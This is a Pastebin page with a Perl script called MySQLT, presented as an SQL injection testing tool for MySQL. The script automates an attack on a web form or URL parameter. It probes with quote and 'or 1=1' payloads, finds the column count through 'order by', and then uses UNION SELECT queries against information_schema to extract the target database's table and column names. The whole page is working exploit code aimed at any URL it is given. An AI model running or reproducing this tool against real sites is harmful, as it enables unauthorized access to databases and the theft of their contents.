Advertisement
Guest User

6666666666

a guest
Mar 22nd, 2017
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 15.48 KB | None | 0 0
  1. use strict;
  2. use warnings;
  3. use Getopt::Long ();
  4. use HTML::Parser;
  5. use LWP::UserAgent;
  6. use Scalar::Util qw(looks_like_number);
  7. use HTTP::Request::Common qw(POST);
  8.  
  9.  
  10.  
  11. #     _____          ________________  .____  ___________
  12. #    /     \ ___.__./   _____\_____  \ |    | \__    ___/
  13. #   /  \ /  <   |  |\_____  \ /  / \  \|    |   |    |  
  14. #  /    Y    \___  |/        /   \_/.  |    |___|    |  
  15. #  \____|__  / ____/_______  \_____\ \_|_______ |____|  
  16. #          \/\/            \/       \__>       \/        
  17. # SQL Injection testing tool for MySQL
  18.  
  19. sub usage {
  20.    my $message = $_[0];
  21.    if (defined $message && length $message) {
  22.       $message .= "\n"
  23.          unless $message =~ /\n$/;
  24.    }
  25.  
  26.    my $command = $0;
  27.    $command =~ s#^.*/##;
  28.  
  29.    print STDERR (
  30.       $message,
  31.       "MySQLT - SQL Injection testing tool for MySQL\n" .
  32.       "usage: $command -u url (-p POST | -g GET) -v true value -e extra [-c]\n" .
  33.       "       ...\n" .
  34.       "       ...\n" .
  35.       "     Mattia Paccamiccio && Matteo Cecconi \n"
  36.    );
  37.  
  38.    die("\n")
  39. }
  40.  
  41.  
  42. my $inputurl;
  43. my $post;
  44. my $get;
  45. my $value;
  46. my $extra;
  47. my $enum;
  48.  
  49.  
  50. my $ua = LWP::UserAgent->new;
  51. my @match;
  52. my @outputcolno;
  53. my @tablenames;
  54. my @columnnames;
  55. my $column_last = 0;
  56. my $column_no = 1;
  57. my $query_select;
  58. my $req2;
  59. my $req;
  60. my $req3;
  61. my $response;
  62. my $response2;
  63. my $response3;
  64. my $parser;
  65. my $x = 0;
  66. my $outputcolumnno;
  67. my $dbname;
  68.    
  69.  
  70. Getopt::Long::GetOptions(
  71.    'u=s' => \$inputurl,
  72.    'p=s' => \$post,
  73.    'g=s' => \$get,
  74.    'v=s' => \$value,
  75.    'e=s' => \$extra,
  76.    'c' => \$enum
  77.    
  78.  #  's=s' => sub {
  79.  #     local *_ = \$_[1];
  80.  #     /^([^:]+):(\d+)$/
  81.  #     or die("Invalid format for option s.\n");
  82.  #     $host = $1;
  83.  #     $port = $2;
  84.  #  },
  85. )
  86. or usage("Invalid commmand line options.");
  87.  
  88. usage("missing url.")
  89.    unless defined $inputurl;
  90.    
  91. usage("missing request")
  92.     unless defined $post or $get;
  93.    
  94. usage("missing value.")
  95.    unless defined $value;
  96.      
  97. if(defined $get and defined $post) {usage("cannot inject 2 varibles together");}
  98.  
  99. print '
  100.     _____          ________________  .____  ___________
  101.    /     \ ___.__./   _____\_____  \ |    | \__    ___/
  102.   /  \ /  <   |  |\_____  \ /  / \  \|    |   |    |  
  103.  /    Y    \___  |/        /   \_/.  |    |___|    |  
  104.  \____|__  / ____/_______  \_____\ \_|_______ |____|  
  105.          \/\/            \/       \__>       \/        
  106. SQL Injection testing tool for MySQL
  107.                 Developed by Mattia Paccamiccio & Matteo Cecconi
  108. ';
  109.  
  110. check_injectable();
  111. is_vuln();
  112.  
  113. #### AGGIUNGERE OR 1=1
  114.  
  115. while ($x == 0) {
  116.  
  117.     print "column number test: $column_no \n";
  118.     my $test;
  119.    
  120.     if(defined $post) {
  121.         $req3 = POST $inputurl,
  122.                     [ $post => $value." order by $column_no--", errors => 0 ];
  123.         $response3 = $ua->request($req3);
  124.         $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  125.         $parser->parse( $response3->decoded_content );
  126.                    
  127.         $test = &column_test();
  128.     } elsif (defined $get) {
  129.         $response3 = $ua->get("$inputurl?$get=$value+order+by+$column_no--");
  130.         $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  131.         $parser->parse( $response3->decoded_content );
  132.         $test = &column_test();
  133.     }
  134.                
  135.        
  136.     if(looks_like_number($test)){
  137.     print "last column #:";
  138.        
  139.         print &column_test();
  140.         print "\n";
  141.         $x = 1;
  142.     } else {
  143.         $column_no++;
  144.     }
  145. }
  146.  
  147. if(defined $enum) {
  148.     if (defined $post) { #post
  149.         columns_analyze($inputurl,$post,$value,$column_last);
  150.     } elsif (defined $get) { #get
  151.         columns_analyze($inputurl,$get,$value,$column_last);
  152.     }
  153.     print "Columns which give an output are: ";
  154.     foreach my $colno (@outputcolno) {
  155.         print $colno." ";
  156.     }
  157. }
  158.  
  159.  
  160.  
  161. if(defined $enum) {
  162.     print "\n Type the column number: ";
  163.     $outputcolumnno = <STDIN>;
  164.     chomp $outputcolumnno;
  165.    
  166.     ##### fai controllo colnumber
  167.    
  168.     #if (defined $post) {
  169.     #   $dbname = extract_dbname($inputurl,$post,$value,$column_last);
  170.     #} elsif (defined $get) {
  171.     #   $dbname = extract_dbname($inputurl,$get,$value,$column_last);
  172.     #}
  173.    
  174.     if (defined $post) {
  175.         extract_tablenames($inputurl,$post,$value,$column_last,$dbname);
  176.         extract_columnnames($inputurl,$post,$value,$column_last,$dbname);
  177.     } elsif (defined $get) {
  178.         extract_tablenames($inputurl,$get,$value,$column_last,$dbname);
  179.         extract_columnnames($inputurl,$get,$value,$column_last,$dbname);
  180.     }
  181.    
  182. }
  183.  
  184.  
  185.  
  186.  
  187.  
  188. sub text_handler {
  189.     chomp( my $text = shift );
  190.  
  191.     if ( $text =~ //i ) {
  192.         push @match,$text;
  193.         #print "Matched: $text\n\n\n";
  194.     }
  195.     #foreach(@match) {
  196.     #print $_, "\n";
  197.     #}
  198. }  
  199.    
  200.  
  201. sub check_injectable {
  202.     if(defined $post){
  203.    
  204.         $req = POST $inputurl,
  205.                         [ $post => $value, errors => 0 ];
  206.         $req2 = POST $inputurl,
  207.                         [ $post => $value."'", errors => 0 ];
  208.         $response = $ua->request($req);
  209.         $response2 = $ua->request($req2);
  210.  
  211.     } elsif (defined $get) {
  212.         $response = $ua->get("$inputurl?$get=$value");
  213.         $response2 = $ua->get("$inputurl?$get=$value'");
  214.  
  215.     }
  216.    
  217.                    
  218.     $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  219.     $parser->parse( $response->decoded_content );
  220.    
  221.  
  222.     $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  223.     $parser->parse( $response2->decoded_content );                 
  224.    
  225.     my $arrsize = scalar @match;
  226.     my $halfarr = ($arrsize/2);
  227.     my $arrincrement = $halfarr;
  228.  
  229.     for (my $cnt=0; $cnt<$halfarr ; $cnt++) {
  230.         my $cnt2 = $cnt+$arrincrement;
  231.         if ($match[$cnt] ne $match[$cnt2]) {
  232.             #print "$match[$cnt] $match[$cnt2] \n";
  233.             $cnt = $halfarr;
  234.             print "Seems vulnerable, trying to exploit...\n";
  235.             last;
  236.         }
  237.         else {
  238.             #print "$match[$cnt] $match[$cnt2] \n";
  239.             print "Not vulnerable.";
  240.             exit;
  241.         }
  242.    
  243.     }
  244.  
  245. }
  246.  
  247. sub is_vuln {
  248. @match = ();
  249.     my $neg = "-".$value;
  250.     my $req_v;
  251.     my $req2_v;
  252.     my $response_v;
  253.     my $response2_v;
  254.    
  255.     if(defined $post){
  256.    
  257.         $req_v = POST $inputurl,
  258.                         [ $post => $neg, errors => 0 ];
  259.         $req2_v = POST $inputurl,
  260.                         [ $post => $neg." or 1=1--", errors => 0 ];
  261.         $response_v = $ua->request($req);  
  262.         $response2_v = $ua->request($req2);
  263.  
  264.     } elsif (defined $get) {
  265.         $response_v = $ua->get("$inputurl?$get=$neg");
  266.         $response2_v = $ua->get("$inputurl?$get=$neg or 1=1--");
  267.  
  268.     }
  269.  
  270.     $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  271.     $parser->parse( $response_v->decoded_content );
  272.  
  273.     $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  274.     $parser->parse( $response2_v->decoded_content );
  275.    
  276.     my $arrsize = scalar @match;
  277.     my $halfarr = ($arrsize/2);
  278.     my $arrincrement = $halfarr;
  279.  
  280.     for (my $cnt=0; $cnt<$halfarr ; $cnt++) {
  281.         my $cnt2 = $cnt+$arrincrement;
  282.         if ($match[$cnt] ne $match[$cnt2]) {
  283.             print "Vulnerable!\n";
  284.             last;
  285.         }
  286.         else {
  287.         exit;
  288.             return;
  289.         }
  290.     }
  291. }
  292.  
  293. sub column_test {
  294.     @match = ();
  295.     $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  296.     $parser->parse( $response->decoded_content );
  297.  
  298.     $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  299.     $parser->parse( $response3->decoded_content );
  300.  
  301.     my $arrsize = scalar @match;
  302.     my $halfarr = ($arrsize/2);
  303.     my $arrincrement = $halfarr;
  304.  
  305.     for (my $cnt=0; $cnt<$halfarr ; $cnt++) {
  306.         my $cnt2 = $cnt+$arrincrement;
  307.         if ($match[$cnt] ne $match[$cnt2]) {
  308.             $column_last = $column_no-1;
  309.             return $column_last;
  310.         }
  311.         else {
  312.             return;
  313.         }
  314.     }
  315. }
  316.  
  317. sub columns_analyze {
  318.    
  319.     my $target_url;
  320.     my $form;
  321.     @match = ();
  322.  
  323.     if(defined $post) { #POST
  324.         my ($targeturl,$post,$value,$column_last) = @_;
  325.         $target_url = $targeturl;
  326.         $query_select = "$value union select ";
  327.         $form = $post;     
  328.     } elsif(defined $get) { #GET
  329.         my ($targeturl,$get,$value,$column_last) = @_;
  330.         $query_select = $targeturl."?".$get."=".$value."+union+select+";
  331.     }
  332.  
  333.     for (my $i=1;$i<=$column_last;$i++) {
  334.         if($i<$column_last) {
  335.             $query_select = $query_select."concat(0x4d7953514c5454657374,".$i.",0x4d7953514c5454657374),";
  336.         } elsif($i == $column_last) {
  337.             $query_select = $query_select."concat(0x4d7953514c5454657374,".$i.",0x4d7953514c5454657374)--";
  338.         }
  339.     }
  340.        
  341.     if(defined $post) {
  342.         $req = POST $target_url,
  343.                         [ $form => $query_select, errors => 0 ];
  344.         $response = $ua->request($req);
  345.         $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  346.         $parser->parse( $response->decoded_content );
  347.     } elsif(defined $get) {
  348.         $response = $ua->get($query_select);   
  349.         $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  350.         $parser->parse( $response->decoded_content );
  351.     }
  352.    
  353.     foreach my $match (@match) {
  354.         if ($match =~ m/MySQLTTest(.*)MySQLTTest/) {
  355.             if(looks_like_number($1)) {
  356.                 push @outputcolno, $1;
  357.             }
  358.         }
  359.     }
  360. }
  361.  
  362. sub extract_tablenames {
  363.     my $target_url;
  364.     my $form;
  365.     my $schema_tablenumber;
  366.     @match = ();
  367.  
  368.     if(defined $post) {
  369.         my ($targeturl,$post,$value,$column_last) = @_;
  370.         $target_url = $targeturl;
  371.         $query_select = "$value union select ";
  372.         $form = $post;     
  373.     } elsif(defined $get) {
  374.         my ($targeturl,$get,$value,$column_last) = @_;
  375.         $target_url = $targeturl;
  376.         $query_select = $targeturl."?".$get."=".$value." union select ";
  377.     }
  378.    
  379.     for (my $i=1;$i<=$column_last;$i++) {
  380.         if($i<$column_last && $i != $outputcolumnno) {
  381.             $query_select = $query_select.$i.",";
  382.         } elsif($i == $column_last && $i != $outputcolumnno) {
  383.             $query_select = $query_select.$i." from information_schema.tables where table_schema = database()--";
  384.         }  elsif($i < $column_last && $i == $outputcolumnno) {
  385.             $query_select = $query_select."concat(0x4d7953514c5454657374,count(*),0x4d7953514c5454657374),";
  386.         }  elsif($i == $column_last && $i == $outputcolumnno) {
  387.             $query_select = $query_select."concat(0x4d7953514c5454657374,count(*),0x4d7953514c5454657374) from information_schema.tables where table_schema = database()--";
  388.         }
  389.     }
  390.        
  391.     if(defined $post) {
  392.         $req = POST $target_url,
  393.                         [ $form => $query_select, errors => 0 ];
  394.         $response = $ua->request($req);
  395.         $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  396.         $parser->parse( $response->decoded_content );
  397.         $query_select = "$value union select ";
  398.     } elsif(defined $get) {
  399.         $response = $ua->get($query_select);   
  400.         $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  401.         $parser->parse( $response->decoded_content );
  402.         $query_select = $target_url."?".$get."=".$value." union select ";
  403.     }
  404.    
  405.     foreach my $match (@match) {
  406.         if ($match =~ m/MySQLTTest(.*)MySQLTTest/) {
  407.             $schema_tablenumber = $1;
  408.         }
  409.     }
  410.    
  411.     @match = ();
  412.    
  413.     for (my $i=1;$i<=$column_last;$i++) {
  414.         if($i<$column_last && $i != $outputcolumnno) {
  415.             $query_select = $query_select.$i.",";
  416.         } elsif($i == $column_last && $i != $outputcolumnno) {
  417.             $query_select = $query_select.$i." from information_schema.tables where table_schema = database() limit TABLECOUNTERZ,1--";
  418.         }  elsif($i < $column_last && $i == $outputcolumnno) {
  419.             $query_select = $query_select."concat(0x4d7953514c5454657374,table_name,0x4d7953514c5454657374),";
  420.         }  elsif($i == $column_last && $i == $outputcolumnno) {
  421.             $query_select = $query_select."concat(0x4d7953514c5454657374,table_name,0x4d7953514c5454657374) from information_schema.tables where table_schema = database() limit TABLECOUNTERZ,1--";
  422.         }
  423.     }
  424.    
  425.    
  426.     for (my $i=1;$i<=$schema_tablenumber;$i++) {
  427.         @match = ();
  428.         my $extract1 = join( $i, split("TABLECOUNTERZ", $query_select) );
  429.         if (defined $post) {
  430.             $req = POST $target_url,
  431.                         [ $form => $extract1, errors => 0 ];
  432.             $response = $ua->request($req);
  433.             $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  434.             $parser->parse( $response->decoded_content );
  435.         } elsif (defined $get) {
  436.             $response = $ua->get($extract1);   
  437.             $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  438.             $parser->parse( $response->decoded_content );
  439.         }
  440.         foreach my $match (@match) {
  441.             if ($match =~ m/MySQLTTest(.*)MySQLTTest/) {
  442.                 push @tablenames, $1;
  443.             }
  444.         }
  445.        
  446.     }
  447.  
  448. }
  449.  
  450. sub extract_columnnames {
  451.  
  452.     my $target_url;
  453.     my $form;
  454.     my $schema_columnnumber;
  455.     my $enum_columnnumber;
  456.     @match = ();
  457.    
  458.     foreach my $tabs (@tablenames) {
  459.    
  460.         if(defined $post) {
  461.             my ($targeturl,$post,$value,$column_last) = @_;
  462.             $target_url = $targeturl;
  463.             $query_select = "$value union select ";
  464.             $form = $post;     
  465.         } elsif(defined $get) {
  466.             my ($targeturl,$get,$value,$column_last) = @_;
  467.             $target_url = $targeturl;
  468.             $query_select = $targeturl."?".$get."=".$value." union select ";
  469.         }
  470.        
  471.         for (my $i=1;$i<=$column_last;$i++) {
  472.             if($i<$column_last && $i != $outputcolumnno) {
  473.                 $query_select = $query_select.$i.",";
  474.             } elsif($i == $column_last && $i != $outputcolumnno) {
  475.                 $query_select = $query_select.$i." from information_schema.columns where table_schema = database() and table_name = '".$tabs."'--";
  476.             }  elsif($i < $column_last && $i == $outputcolumnno) {
  477.                 $query_select = $query_select."concat(0x4d7953514c5454657374,count(*),0x4d7953514c5454657374),";
  478.             }  elsif($i == $column_last && $i == $outputcolumnno) {
  479.                 $query_select = $query_select."concat(0x4d7953514c5454657374,count(*),0x4d7953514c5454657374) from information_schema.columns where table_schema = database() and table_name = '".$tabs."'--";
  480.             }
  481.         }          
  482.         #print $query_select;
  483.        
  484.         if(defined $post) {
  485.             $req = POST $target_url,
  486.                             [ $form => $query_select, errors => 0 ];
  487.             $response = $ua->request($req);
  488.             $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  489.             $parser->parse( $response->decoded_content );
  490.             $query_select = "$value union select ";
  491.         } elsif(defined $get) {
  492.             $response = $ua->get($query_select);   
  493.             $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  494.             $parser->parse( $response->decoded_content );
  495.             $query_select = $target_url."?".$get."=".$value." union select ";
  496.         }  
  497.    
  498.         foreach my $match (@match) {
  499.             if ($match =~ m/MySQLTTest(.*)MySQLTTest/) {
  500.                 $enum_columnnumber = $1;
  501.                 #print "\n counter: ".$1;
  502.                 print "\n Enumerating table ".$tabs.": \n";
  503.                
  504.                 @match = ();
  505.    
  506.                 for (my $i=1;$i<=$column_last;$i++) {
  507.                     if($i<$column_last && $i != $outputcolumnno) {
  508.                         $query_select = $query_select.$i.",";
  509.                     } elsif($i == $column_last && $i != $outputcolumnno) {
  510.                         $query_select = $query_select.$i." from information_schema.columns where table_schema = database() and table_name = '".$tabs."' limit COLUMNCOUNTERZ,1--";
  511.                     } elsif($i < $column_last && $i == $outputcolumnno) {
  512.                         $query_select = $query_select."concat(0x4d7953514c5454657374,column_name,0x4d7953514c5454657374),";
  513.                     }  elsif($i == $column_last && $i == $outputcolumnno) {
  514.                         $query_select = $query_select."concat(0x4d7953514c5454657374,column_name,0x4d7953514c5454657374) from information_schema.columns where table_schema = database() and table_name = '".$tabs."' limit COLUMNCOUNTERZ,1--";
  515.                     }
  516.                 }
  517.                
  518.                 for (my $i=1;$i<=$enum_columnnumber;$i++) {
  519.                     @match = ();
  520.                     my $extract1 = join( $i, split("COLUMNCOUNTERZ", $query_select) );
  521.                     if (defined $post) {
  522.                         $req = POST $target_url,
  523.                             [ $form => $extract1, errors => 0 ];
  524.                         $response = $ua->request($req);
  525.                         $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  526.                         $parser->parse( $response->decoded_content );
  527.                     } elsif (defined $get) {
  528.                         $response = $ua->get($extract1);   
  529.                         $parser = HTML::Parser->new( 'text_h' => [ \&text_handler, 'dtext' ] );
  530.                         $parser->parse( $response->decoded_content );
  531.                     }
  532.                     foreach my $match (@match) {
  533.                         if ($match =~ m/MySQLTTest(.*)MySQLTTest/) {
  534.                         push @columnnames, $1;
  535.                         print $1." -- ";
  536.                         }
  537.                     }
  538.    
  539.                 }
  540.                
  541.             }
  542.         }
  543.         @match = ();
  544.     }
  545.  
  546. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement